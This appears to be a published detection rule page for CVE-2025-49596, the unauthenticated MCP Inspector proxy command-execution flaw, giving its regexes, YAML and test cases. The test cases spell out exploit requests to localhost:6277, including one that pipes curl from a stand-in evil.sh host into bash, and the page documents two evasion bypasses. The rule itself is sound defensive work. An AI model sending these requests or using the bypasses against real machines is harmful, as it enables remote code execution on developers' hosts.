MCP Inspector Unauthenticated Proxy stdio Command Execution (CVE-2025-49596)
Detects exploitation of CVE-2025-49596 (CVSS 9.4), the unauthenticated proxy RCE in Anthropic's MCP Inspector (versions < 0.14.1) reported by Oligo Security.
mcp inspector unauth proxy · pattern · confidence: high
- Severity
- critical
- Lanes
- alert · huntmarks and reports a match
- Maturity
- testnot yet settled
- Scan target
- runtime
- Status
- experimental
Framework mappings
- OWASP Agentic Top 10
- ASI02:2026
- ASI05:2026
- OWASP LLM Top 10
- LLM06:2025
- LLM05:2025
ATR wrote these mappings. The framework owners have not reviewed or endorsed them.
Description
Detects exploitation of CVE-2025-49596 (CVSS 9.4), the unauthenticated proxy RCE in Anthropic's MCP Inspector (versions < 0.14.1) reported by Oligo Security. The Inspector proxy listens on 0.0.0.0:6277 and exposes an /sse endpoint that spawns an MCP server over stdio using attacker-controlled transportType, command, and args query parameters — with no authentication or origin check. A malicious public web page (or a DNS-rebinding origin that resolves to 127.0.0.1/0.0.0.0) can issue a cross-site fetch to http://0.0.0.0:6277/sse?transportType=stdio&command=<cmd>&args=<args> and achieve arbitrary OS command execution on the developer's machine. This rule fires on the concrete request signature — the :6277/sse endpoint carrying transportType=stdio together with a command= parameter — not on prose that merely names the CVE. Patched in 0.14.1 by adding session-token auth and Origin verification.
Detection conditions
Combinator: any- 01MCP Inspector /sse proxy request with transportType=stdio and an attacker-controlled command= parameter — the CVE-2025-49596 canonical exploit signature (order-independent via two conditions)field: contentop: regex
- 02Same CVE-2025-49596 /sse proxy request with the command= parameter preceding transportType=stdio in the query stringfield: contentop: regex
- 03Cross-site/DNS-rebinding request to the MCP Inspector proxy on 0.0.0.0/127.0.0.1/localhost:6277 carrying a command= parameter — CVE-2025-49596 exploitation against the developer loopbackfield: contentop: regex
Attacks it catches
http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser
fetch('http://127.0.0.1:6277/sse?transportType=stdio&command=sh&args=-c&args=curl%20http://evil.sh|bash')GET /sse?command=/bin/bash&transportType=stdio&args=-c HTTP/1.1 Host: 0.0.0.0:6277
malicious page issues XHR to http://localhost:6277/sse?transportType=stdio&command=calc.exe to pop a shell on the dev box
curl 'http://[::1]:6277/sse?transportType=stdio&command=id' — unauthenticated MCP Inspector proxy RCE
Attack examples the rule must catch, many based on reported attacks and some written to match their shape. They are versioned with the rule as regression tests. If a later revision stops catching one, it shows.
Benign inputs it leaves alone
- Legitimate Inspector documentation naming port 6277 and stdio transport but with no /sse command= request string
The MCP Inspector runs a proxy on port 6277 and a UI on 6274; connect the Inspector to your server over stdio to debug tools.
- Advisory text naming the CVE and the fix without a live exploit request
CVE-2025-49596 is an unauthenticated RCE in MCP Inspector below 0.14.1; upgrade to 0.14.1 which adds a proxy auth token.
- Unrelated Server-Sent Events endpoint — no 6277 proxy port, no transportType=stdio, no command= parameter
Our service exposes an SSE stream at https://api.example.com/sse?channel=updates&format=json for real-time events.
- Post-fix authenticated Inspector usage on the UI port 6274 with a session token — no unauthenticated command= request
Set MCP_PROXY_AUTH_TOKEN and open http://127.0.0.1:6274 in the browser; the Inspector UI attaches the session token to every proxy call.
- Legitimate Inspector container run publishing port 6277 — no /sse stdio command= exploit request
docker run -p 6277:6277 modelcontextprotocol/inspector then browse to the local UI to test your MCP server tools.
Known false positives
- ▸Legitimate local MCP Inspector usage after the 0.14.1 fix carries a MCP_PROXY_AUTH_TOKEN / session token header and is initiated same-origin from the Inspector UI, not via a cross-site fetch string embedding command=. Documentation of the Inspector's own URL scheme without a command= parameter (e.g. a plain /sse connect) does not match.
- ▸Advisory, patch-note, and research text that merely names CVE-2025-49596, the :6277 port, or the /sse endpoint without carrying a live transportType=stdio + command= request string does not match.
- ▸Generic references to Server-Sent Events (/sse) endpoints on unrelated services that do not combine the :6277 Inspector proxy port with a stdio command parameter.
Documented bypasses
- Technique: parameter alias
http://0.0.0.0:6277/sse?transportType=stdio&cmd=touch%20/tmp/x
If a future Inspector variant accepted an aliased 'cmd=' parameter instead of 'command=', the Layer-1 anchor on the literal command= token would miss it. The canonical CVE-2025-49596 endpoint uses command=; a v2 could add a command|cmd alternation if a real aliased endpoint is observed. - Technique: base64 encode
aHR0cDovLzAuMC4wLjA6NjI3Ny9zc2U/dHJhbnNwb3J0VHlwZT1zdGRpbyZjb21tYW5kPXRvdWNo
The full exploit URL base64-encoded inside a JS string. Literal /sse, transportType=stdio, and command= tokens no longer appear, so the regex anchors miss. Base64-of-URL heuristics belong in an engine-level normalization layer, not this signature rule.
These bypasses are documented in public. The rule itself lists its known limits.
Full YAML
Edit on GitHubtitle: "MCP Inspector Unauthenticated Proxy stdio Command Execution (CVE-2025-49596)"
id: ATR-2026-02021
rule_version: 1
status: experimental
description: >
Detects exploitation of CVE-2025-49596 (CVSS 9.4), the unauthenticated proxy
RCE in Anthropic's MCP Inspector (versions < 0.14.1) reported by Oligo
Security. The Inspector proxy listens on 0.0.0.0:6277 and exposes an /sse
endpoint that spawns an MCP server over stdio using attacker-controlled
transportType, command, and args query parameters — with no authentication
or origin check. A malicious public web page (or a DNS-rebinding origin that
resolves to 127.0.0.1/0.0.0.0) can issue a cross-site fetch to
http://0.0.0.0:6277/sse?transportType=stdio&command=<cmd>&args=<args> and
achieve arbitrary OS command execution on the developer's machine. This rule
fires on the concrete request signature — the :6277/sse endpoint carrying
transportType=stdio together with a command= parameter — not on prose that
merely names the CVE. Patched in 0.14.1 by adding session-token auth and
Origin verification.
author: "ATR Community (MCP CVE sweep)"
date: "2026/07/08"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical
references:
owasp_llm:
- "LLM06:2025"
- "LLM05:2025"
owasp_agentic:
- "ASI02:2026"
- "ASI05:2026"
mitre_atlas:
- "AML.T0053 - AI Agent Tool Invocation"
- "AML.T0051.001 - Indirect"
cve:
- "CVE-2025-49596"
cwe:
- "CWE-352"
- "CWE-306"Show all (147 more lines)Show less
- "CWE-78"
external:
- "https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596"
- "https://nvd.nist.gov/vuln/detail/CVE-2025-49596"
- "https://github.com/modelcontextprotocol/inspector/commit/50df0e1"
metadata_provenance:
cve: mcp-cve-sweep
cwe: mcp-cve-sweep
owasp_llm: mcp-cve-sweep
owasp_agentic: mcp-cve-sweep
mitre_atlas: mcp-cve-sweep
compliance:
owasp_agentic:
- id: "ASI05:2026"
context: "OWASP Agentic ASI05:2026 (Unexpected Code Execution) is exercised by the MCP Inspector unauthenticated /sse stdio proxy (CVE-2025-49596); this rule provides runtime detection of that request signature."
strength: primary
- id: "ASI02:2026"
context: "OWASP Agentic ASI02:2026 (Tool Misuse and Exploitation) is exercised where an attacker drives the Inspector proxy to spawn arbitrary stdio commands (CVE-2025-49596)."
strength: secondary
owasp_llm:
- id: "LLM06:2025"
context: "OWASP LLM LLM06:2025 (Excessive Agency) is exercised by an unauthenticated proxy that executes attacker-supplied commands on the developer host (CVE-2025-49596); this rule is a detection implementation for that category."
strength: primary
eu_ai_act:
- article: "15"
context: "EU AI Act Article 15 (accuracy, robustness and cybersecurity) requires AI developer tooling to authenticate command-execution endpoints; this rule provides runtime detection evidence for the CVE-2025-49596 unauthenticated proxy RCE."
strength: primary
- article: "9"
context: "EU AI Act Article 9 (risk management system) requires controls against the CVE-2025-49596 unauthenticated MCP Inspector proxy; this rule is a runtime risk-treatment control."
strength: secondary
nist_ai_rmf:
- function: Manage
subcategory: "MG.2.3"
context: "NIST AI RMF MG.2.3 (risk treatment options selected and tracked) is supported by this rule's detection of the CVE-2025-49596 MCP Inspector unauthenticated proxy stdio command execution."
strength: primary
- function: Measure
subcategory: "MS.2.7"
context: "NIST AI RMF MS.2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of CVE-2025-49596."
strength: secondary
iso_42001:
- clause: "8.1"
context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of the CVE-2025-49596 unauthenticated MCP Inspector proxy."
strength: primary
- clause: "8.3"
context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is operationalised by this rule's detection of CVE-2025-49596."
strength: secondary
tags:
category: tool-poisoning
subcategory: mcp-inspector-unauth-proxy
scan_target: runtime
confidence: high
agent_source:
type: mcp_exchange
framework:
- any
provider:
- any
detection:
condition: any
false_positives:
- "Legitimate local MCP Inspector usage after the 0.14.1 fix carries a MCP_PROXY_AUTH_TOKEN / session token header and is initiated same-origin from the Inspector UI, not via a cross-site fetch string embedding command=. Documentation of the Inspector's own URL scheme without a command= parameter (e.g. a plain /sse connect) does not match."
- "Advisory, patch-note, and research text that merely names CVE-2025-49596, the :6277 port, or the /sse endpoint without carrying a live transportType=stdio + command= request string does not match."
- "Generic references to Server-Sent Events (/sse) endpoints on unrelated services that do not combine the :6277 Inspector proxy port with a stdio command parameter."
conditions:
# Layer 1 — the exact Inspector proxy RCE request: the /sse endpoint on the
# 6277 proxy port carrying transportType=stdio and a command= parameter.
- field: content
operator: regex
value: '(?i)/sse\?[^\s"''`]{0,120}\btransportType=stdio\b[^\s"''`]{0,160}\bcommand=[^\s"''`&]{1,120}'
description: "MCP Inspector /sse proxy request with transportType=stdio and an attacker-controlled command= parameter — the CVE-2025-49596 canonical exploit signature (order-independent via two conditions)"
- field: content
operator: regex
value: '(?i)/sse\?[^\s"''`]{0,120}\bcommand=[^\s"''`&]{1,120}[^\s"''`]{0,160}\btransportType=stdio\b'
description: "Same CVE-2025-49596 /sse proxy request with the command= parameter preceding transportType=stdio in the query string"
# Layer 2 — the request aimed at the loopback/any-interface Inspector proxy
# port (6277) with a stdio command parameter, catching the localhost and
# 0.0.0.0 CSRF/DNS-rebinding target hosts explicitly.
- field: content
operator: regex
value: '(?i)https?://(?:0\.0\.0\.0|127\.0\.0\.1|localhost|\[::1\]):6277/[^\s"''`]{0,80}\bcommand=[^\s"''`&]{1,120}'
description: "Cross-site/DNS-rebinding request to the MCP Inspector proxy on 0.0.0.0/127.0.0.1/localhost:6277 carrying a command= parameter — CVE-2025-49596 exploitation against the developer loopback"
response:
actions:
- alert
- block_tool
notify:
- security_team
message_template: >
[ATR-2026-02021] CRITICAL: MCP Inspector unauthenticated proxy command
execution (CVE-2025-49596, CVSS 9.4). A request targets the Inspector proxy
/sse endpoint (port 6277) with transportType=stdio and an attacker-supplied
command= parameter — the CSRF/DNS-rebinding RCE against MCP Inspector
< 0.14.1. Remediation: upgrade MCP Inspector to 0.14.1 or later (adds
session-token auth + Origin verification); bind the proxy to loopback only
and never expose 6277 to untrusted origins.
confidence: 88
test_cases:
true_positives:
- input: "http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser"
expected: triggered
description: "Oligo PoC — cross-site fetch to the Inspector proxy on 0.0.0.0:6277 running touch via the /sse stdio endpoint"
- input: "fetch('http://127.0.0.1:6277/sse?transportType=stdio&command=sh&args=-c&args=curl%20http://evil.sh|bash')"
expected: triggered
description: "DNS-rebinding CSRF to loopback Inspector proxy spawning sh -c curl|bash"
- input: "GET /sse?command=/bin/bash&transportType=stdio&args=-c HTTP/1.1 Host: 0.0.0.0:6277"
expected: triggered
description: "Command= parameter preceding transportType=stdio in the CVE-2025-49596 request"
- input: "malicious page issues XHR to http://localhost:6277/sse?transportType=stdio&command=calc.exe to pop a shell on the dev box"
expected: triggered
description: "localhost:6277 Inspector proxy /sse stdio command execution"
- input: "curl 'http://[::1]:6277/sse?transportType=stdio&command=id' — unauthenticated MCP Inspector proxy RCE"
expected: triggered
description: "IPv6 loopback Inspector proxy request with transportType=stdio and command=id"
true_negatives:
- input: "The MCP Inspector runs a proxy on port 6277 and a UI on 6274; connect the Inspector to your server over stdio to debug tools."
expected: not_triggered
description: "Legitimate Inspector documentation naming port 6277 and stdio transport but with no /sse command= request string"
- input: "CVE-2025-49596 is an unauthenticated RCE in MCP Inspector below 0.14.1; upgrade to 0.14.1 which adds a proxy auth token."
expected: not_triggered
description: "Advisory text naming the CVE and the fix without a live exploit request"
- input: "Our service exposes an SSE stream at https://api.example.com/sse?channel=updates&format=json for real-time events."
expected: not_triggered
description: "Unrelated Server-Sent Events endpoint — no 6277 proxy port, no transportType=stdio, no command= parameter"
- input: "Set MCP_PROXY_AUTH_TOKEN and open http://127.0.0.1:6274 in the browser; the Inspector UI attaches the session token to every proxy call."
expected: not_triggered
description: "Post-fix authenticated Inspector usage on the UI port 6274 with a session token — no unauthenticated command= request"
- input: "docker run -p 6277:6277 modelcontextprotocol/inspector then browse to the local UI to test your MCP server tools."
expected: not_triggered
description: "Legitimate Inspector container run publishing port 6277 — no /sse stdio command= exploit request"
evasion_tests:
- input: "http://0.0.0.0:6277/sse?transportType=stdio&cmd=touch%20/tmp/x"
expected: not_triggered
bypass_technique: parameter_alias
notes: "If a future Inspector variant accepted an aliased 'cmd=' parameter instead of 'command=', the Layer-1 anchor on the literal command= token would miss it. The canonical CVE-2025-49596 endpoint uses command=; a v2 could add a command|cmd alternation if a real aliased endpoint is observed."
- input: "aHR0cDovLzAuMC4wLjA6NjI3Ny9zc2U/dHJhbnNwb3J0VHlwZT1zdGRpbyZjb21tYW5kPXRvdWNo"
expected: not_triggered
bypass_technique: base64_encode
notes: "The full exploit URL base64-encoded inside a JS string. Literal /sse, transportType=stdio, and command= tokens no longer appear, so the regex anchors miss. Base64-of-URL heuristics belong in an engine-level normalization layer, not this signature rule."